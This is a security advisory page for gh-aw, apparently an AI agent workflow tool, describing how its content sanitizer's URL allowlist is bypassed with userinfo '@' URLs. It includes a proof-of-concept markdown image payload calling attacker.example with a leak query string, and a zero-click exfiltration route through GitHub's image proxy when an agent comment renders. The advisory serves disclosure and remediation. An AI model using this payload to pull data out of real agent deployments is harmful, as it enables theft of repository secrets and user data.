Skip to content
GitHubGHSA-73j6-rcxw-76w7

gh-aw: URL allowlist bypass via userinfo @ in the content sanitizer (exfiltration channel)

Medium6.8Published Aug 7, 2026

### Summary The content sanitizer's URL redaction claims to redact any `https://` URL whose host is not on the allowlist, but its host regex stops at `@`. For `https://github.com@evil.com/`, the regex captures `github.com` (allowlisted) and the real host `evil.com` passes unredacted. This defeats the URL-redaction control and gives an exfiltration channel, including a zero-click variant through GitHub's camo image proxy when an agent comment renders. It needs no special config, which gives it the broadest reach of the issues I found in this review of gh-aw. I verified this against current `main` at commit `966ccb8` (2026-07-12). The file is byte-for-byte identical (blob `bcb3256`) to the commit where it was first verified, `bdfdb8e` (2026-06-24, ~v0.80.9); no commit touched it in between. ### Details `sanitizeUrlDomains` uses `httpsUrlRegex` (`actions/setup/js/sanitize_content_core.cjs:268`): /https:\/\/([\w.-]+(?::\d+)?)(\/(?:(?!https:\/\/)[^\s,])*)?/gi The host capture group `([\w.-]+(?::\d+)?)` does not include `@`, so for `https://github.com@evil.com/` it captures `github.com`. `applyDomainFilter` (`:276-311`) splits on `:`, matches the allowlist, and returns the URL ...

GitHub advisory

Affected versions

PackageAffectedFixed in
github/gh-aw
Product
< v0.86.0v0.86.0
Details and references

### Summary The content sanitizer's URL redaction claims to redact any `https://` URL whose host is not on the allowlist, but its host regex stops at `@`. For `https://github.com@evil.com/`, the regex captures `github.com` (allowlisted) and the real host `evil.com` passes unredacted. This defeats the URL-redaction control and gives an exfiltration channel, including a zero-click variant through GitHub's camo image proxy when an agent comment renders. It needs no special config, which gives it the broadest reach of the issues I found in this review of gh-aw. I verified this against current `main` at commit `966ccb8` (2026-07-12). The file is byte-for-byte identical (blob `bcb3256`) to the commit where it was first verified, `bdfdb8e` (2026-06-24, ~v0.80.9); no commit touched it in between. ### Details `sanitizeUrlDomains` uses `httpsUrlRegex` (`actions/setup/js/sanitize_content_core.cjs:268`): /https:\/\/([\w.-]+(?::\d+)?)(\/(?:(?!https:\/\/)[^\s,])*)?/gi The host capture group `([\w.-]+(?::\d+)?)` does not include `@`, so for `https://github.com@evil.com/` it captures `github.com`. `applyDomainFilter` (`:276-311`) splits on `:`, matches the allowlist, and returns the URL unchanged. The real host is `evil.com`. The protocol-relative regex at `:330` has the same host group, so `//github.com@evil.com/` bypasses too. There is no `new URL()` parse of the content on this path; the only `new URL()` in the file builds the allowlist from environment variables. The mention-neutralization sibling is also present. `neutralizeAllMentions` runs at `:1290`, before URL sanitization at `:1297`, and is not re-run afterward. A redacted host rewritten to `(evil.com/redacted)@maintainer` leaves `@maintainer` as a live mention. ### PoC `sanitizeContent("![x](https://github.com@attacker.example/x?leak=SENTINEL)")` returns byte-identical output; the URL is not redacted. I confirmed this offline against the exact regex and filter logic, on the bare, markdown-image, and protocol-relative forms, and on both the incoming (`actions/setup/js/sanitize_incoming_text.cjs`) and output (`actions/setup/js/sanitize_content.cjs`) paths. A plain `https://evil.com/...` with no `@` redacts correctly, so the bypass is specific to userinfo. No test covers `@` in the authority. ### Impact Defeats URL redaction and provides an exfiltration channel. Zero-click via GitHub's camo image proxy when an agent comment containing such a markdown image is rendered: the proxy issues a server-side GET to `evil.com` with the query string. No special config is required. CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N (High). Suggested vector. ### Suggested fix Parse the authority with `new URL()` and reject any credentials/`@` in it, instead of the regex. Re-run mention neutralization after URL redaction.

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-20, CWE-346

More GitHub advisories

All GitHub

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.